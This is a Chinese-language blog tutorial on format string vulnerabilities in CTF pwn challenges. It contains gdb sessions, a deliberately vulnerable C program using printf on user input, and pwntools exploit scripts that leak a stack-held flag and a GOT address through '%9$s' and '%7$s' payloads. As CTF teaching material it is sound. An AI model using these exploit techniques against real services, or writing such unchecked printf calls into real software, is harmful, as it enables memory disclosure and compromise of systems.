pwn格式化字符串漏洞小结

原创

PLpa、 于 2019-11-30 13:44:48 发布 1493 收藏 13
分类专栏： pwn 格式化字符串漏洞 文章标签： 格式化字符串漏洞 pwn

本文链接：https://blog.csdn.net/qq_43986365/article/details/103308528


pwn 同时被 2 个专栏收录
19 篇文章 1 订阅
订阅专栏


格式化字符串漏洞
2 篇文章 0 订阅
订阅专栏

格式化字符串漏洞

0x00.前言

在pwn中，格式化字符串漏洞是一个非常基础的漏洞，他通常穿插在各种漏洞之中。比如，当程序开了PIE保护时，在栈溢出之前，我们先可以运用格式化字符串漏洞获取栈中的信息；通过格式化字符串漏洞的任意地址写，我们可以把栈帧劫持到堆地址上；我们甚至可以直接通过任意地址写，劫持got表，实现getshell……
总而言之，格式化字符串漏洞虽然在目前市面上的软件中比较难以看到，但他仍然是一个非常致命的漏洞，这篇文章也是我在最近的学习时的一些心得，记录一下。

0x01.格式化字符串函数介绍

格式化字符串函数可以接受可变数量的参数，并将第一个参数作为格式化字符串，根据其来解析之后的参数。通俗来说，格式化字符串函数就是将计算机内存中表示的数据转化为我们人类可读的字符串格式。

常用的格式化字符串函数

输入：sanf
输出：printf，fprintf，vprintf，vfprintf，sprintf，snprintf，vsnprintf……
对于printf函数大家应该都很熟悉了

```
printf("%d",a);
```

这是我们在写c语言代码的时候经常使用到的，但是一些初学者是否犯过这样的错误呢？

```
printf(a);
```

自然，有些人会犯这种小错误，对于这种小错误，编译器通常会提醒你一个warning，但是仍然可以编译过去。之后我们通过scanf输入的任意字符都会被打印出来，包括格式化字符串。这样，我们就可以泄露栈上的信息了。

0x02.栈上有flag那就–泄露栈内存

利用 %x 来获取对应栈的内存，但建议使用 %p，可以不用考虑位数的区别。
利用 %s 来获取变量所对应地址的内容，只不过有零截断。
利用 %order$x 来获取指定参数的值。同样把x改为s来获取指定参数对应地址的内容。

例题

我们以2017年的UIUCTF的pwn200 Goodluck为例，由于这题需要在同文件夹下有一个flag.txt文件，这里我们创建一个文件就可以了。

```
root@kali:~/pwn/blog# ls
flag.txt  goodluck
```

就像这样一样就可以了。

```
root@kali:~/pwn/blog# checksec goodluck
[*] '/root/pwn/blog/goodluck'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

这是一个64位的文件，没开PIE保护，开了canary和NX。
我们用gdb调试一下这个文件。

```
gdb-peda$ b printf
Breakpoint 1 at 0x400640
```

把断点下在printf上，然后直接运行

```
gdb-peda$ r
Starting program: /root/pwn/blog/goodluck
what's the flag
aaa
You answered:
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7ee1924 (<write+20>: cmp    rax,0xfffffffffffff000)
RDX: 0x7ffff7fb2580 --> 0x0
RSI: 0x602490 ("You answered:\ng\nflag}\n")
RDI: 0x602cb0 --> 0x616161 --> 0x0
RBP: 0x7fffffffe100 --> 0x400900 (<__libc_csu_init>: push   r15)
RSP: 0x7fffffffe0b8 --> 0x400890 (<main+234>: mov    edi,0x4009b8)
RIP: 0x7ffff7e4ab40 (<printf>: sub    rsp,0xd8)
R8 : 0xe
R9 : 0x602cd0 --> 0x0
R10: 0x40041d --> 0x730066746e697270 ('printf')
R11: 0x7ffff7e4ab40 (<printf>: sub    rsp,0xd8)
R12: 0x4006b0 (<_start>: xor    ebp,ebp)
R13: 0x7fffffffe1e0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7ffff7e4ab2e <fprintf+174>:
    call   0x7ffff7f007c0 <__stack_chk_fail>
   0x7ffff7e4ab33: nop    WORD PTR cs:[rax+rax*1+0x0]
   0x7ffff7e4ab3d: nop    DWORD PTR [rax]
=> 0x7ffff7e4ab40 <printf>: sub    rsp,0xd8
   0x7ffff7e4ab47 <printf+7>: mov    r10,rdi
   0x7ffff7e4ab4a <printf+10>: mov    QWORD PTR [rsp+0x28],rsi
   0x7ffff7e4ab4f <printf+15>: mov    QWORD PTR [rsp+0x30],rdx
   0x7ffff7e4ab54 <printf+20>: mov    QWORD PTR [rsp+0x38],rcx
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe0b8 --> 0x400890 (<main+234>: mov    edi,0x4009b8)
0008| 0x7fffffffe0c0 --> 0x61000001
0016| 0x7fffffffe0c8 --> 0x602cb0 --> 0x616161 --> 0x0
0024| 0x7fffffffe0d0 --> 0x602260 --> 0x0
0032| 0x7fffffffe0d8 --> 0x7fffffffe0e0 ("flag{1t_1s_true_flag}\n")
0040| 0x7fffffffe0e0 ("flag{1t_1s_true_flag}\n")
0048| 0x7fffffffe0e8 ("1s_true_flag}\n")
0056| 0x7fffffffe0f0 --> 0xa7d67616c66 ('flag}\n')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x00007ffff7e4ab40 in printf ()
   from /lib/x86_64-linux-gnu/libc.so.6
```

可以看到，flag已经出来了，但是大家做过ctf题目的都知道这是本地测试用的flag，而真正的flag还在远端服务器上，但是flag的偏移相同。
由于这是64位文件，保存参数在栈之前还有6个寄存器，所以我们算偏移就必须把他们算进去。
这里我们用pwngdb的一个小工具就直接算出来了。

```
gdb-peda$ fmtarg 0x7fffffffe0e0
The index of format argument : 10 ("\%9$p")
```

我们看到，我们输入点距离flag偏移为9，我们就去外面运行一下看看

```
root@kali:~/pwn/blog# ./goodluck
what's the flag
%9$s
You answered:
flag{1t_1s_true_flag}

But that was totally wrong lol get rekt
```

试一下果真是这样，我们就可以写exp打远端服务器了。
exp如下：

```
#!/usr/bin/env python
from pwn import *
local=1
if local:
    p=process('./goodluck')
else:
    p=remote('127.0.0.1',9999)
p.recvuntil("what's the flag")
p.sendline('%9$s')
print p.recv()
p.interactive()
```

如果打远端，local改为0就可以了。

0x03.栈上没有flag那就–泄露任意栈上的地址

对与ctf比赛，直接在栈上存flag的题目还是比较少，我们还是需要泄露几个比较强力的地址，以便我们控制shell，比如got表中的地址。
我们回忆一下上一节，我们说%s可以获取变量所对应地址的内容，我们就想，他可不可以直接获取got表中的值呢？我们都知道，程序调用一个函数后，会把真正的地址解析到got中（关于延迟绑定，建议看《程序员的自我修养–链接，装载与库》），答案是当然可以。

例题

我们自己编写一个测试文件

```
#include <stdio.h>
int main(){
        char a[100];
        scanf("%s",a);
        printf(a);
        return 0;
}
```

我们用以下命令编译他

```
gcc -m32 -no-pie -fno-stack-protector -o text text.c
```

这样我们就获得了一个32位的，只开了NX保护的文件了

```
root@kali:~/pwn/blog# checksec text
[*] '/root/pwn/blog/text'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
```

竟然是想泄露固定的地址，我们就必须知道我们输入的格式化字符串的偏移是多少
我们使用gdb调试一下
同样是把断点下在printf，然后运行程序

```
gdb-peda$ b printf
Breakpoint 1 at 0x8049030
gdb-peda$ r
Starting program: /root/pwn/blog/text
aaaa
[----------------------------------registers-----------------------------------]
EAX: 0xffffd23c ("aaaa")
EBX: 0x804c000 --> 0x804bf14 --> 0x1
ECX: 0x0
EDX: 0xf7fb301c --> 0x0
ESI: 0xf7fb1000 --> 0x1d6d6c
EDI: 0xf7fb1000 --> 0x1d6d6c
EBP: 0xffffd2a8 --> 0x0
ESP: 0xffffd21c --> 0x80491b1 (<main+63>: add    esp,0x10)
EIP: 0xf7e2a3e0 (<printf>: call   0xf7f12579)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xf7e2a3db: xchg   ax,ax
   0xf7e2a3dd: xchg   ax,ax
   0xf7e2a3df: nop
=> 0xf7e2a3e0 <printf>: call   0xf7f12579
   0xf7e2a3e5 <printf+5>: add    eax,0x186c1b
   0xf7e2a3ea <printf+10>: sub    esp,0xc
   0xf7e2a3ed <printf+13>: lea    edx,[esp+0x14]
   0xf7e2a3f1 <printf+17>: push   0x0
No argument
[------------------------------------stack-------------------------------------]
0000| 0xffffd21c --> 0x80491b1 (<main+63>: add    esp,0x10)
0004| 0xffffd220 --> 0xffffd23c ("aaaa")
0008| 0xffffd224 --> 0xffffd23c ("aaaa")
0012| 0xffffd228 --> 0xf7ffd950 --> 0x0
0016| 0xffffd22c --> 0x8049189 (<main+23>: add    ebx,0x2e77)
0020| 0xffffd230 --> 0x0
0024| 0xffffd234 --> 0xc30000
0028| 0xffffd238 --> 0x1
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0xf7e2a3e0 in printf () from /lib32/libc.so.6
```

我们可以看到，我们输入的aaaa字符串在0xffffd23c的位置，所以我们就可以用fmtarg来测试偏移了

```
gdb-peda$ fmtarg 0xffffd23c
The index of format argument : 8 ("\%7$p")
```

偏移为7。
我们输入的格式化字符串偏移为7，我们就可以使用

```
[addr]%7$s
```

这种方式把addr中的地址解析出来。
exp如下

```
#! /usr/bin/env python
from pwn import *
local=1
if local:
    p=process('./text')
else:
    p=remote('127.0.0.1',9999)
elf=ELF('./text')
scanf_got=elf.got['__isoc99_scanf']
p.sendline(p32(scanf_got)+'%7$s')
print hex(u32(p.recv()[4:8]))
p.interactive()
```

这里会先打印出got的地址，然后再打印出真实的地址，所以我们用p.recv()[4:8]这种方式来接收我们需要的地址。运行结果如下

```
root@kali:~/pwn/blog# python text.py
[+] Starting local process './text': pid 2537
[*] '/root/pwn/blog/text'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] Process './text' stopped with exit code 0 (pid 2537)
0xf7dd3410
[*] Switching to interactive mode
```

这样我们就可以知道远端的libc版本，进而可以控制程序了。

注意

并不是所有的格式化字符串都正好让你输入到整数位置，有的时候，题目给出的输入在偏移为7和偏移为8之间，就是有一半在偏移为7上，有一半在偏移为8上，这样的话，我们就需要使用一些字符来把我们输入的地址“挤”入到整数偏移上面来

```
[pad][addr]%n$s
```

这样，我们还是可以达到上面例题中的效果

0x04.没什么好泄露的那就–覆盖内存

有的时候，程序中并没有值得泄露的内存，也就是泄露了也没有什么用处，我们就考虑格式化字符串漏洞能不能覆盖一些内存呢？当然是可以的，但是要用到一些特殊的格式化字符串。

```
%n,不输出字符，但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
```

有了这个格式化字符串，我们覆盖程序的一些内存就相当方便了。
这里可以用jarvisoj—fm，这是一个比较好的例子，由于我以前的博客中写过writeup，这里就不细讲了。
传送门

参考： ctfwiki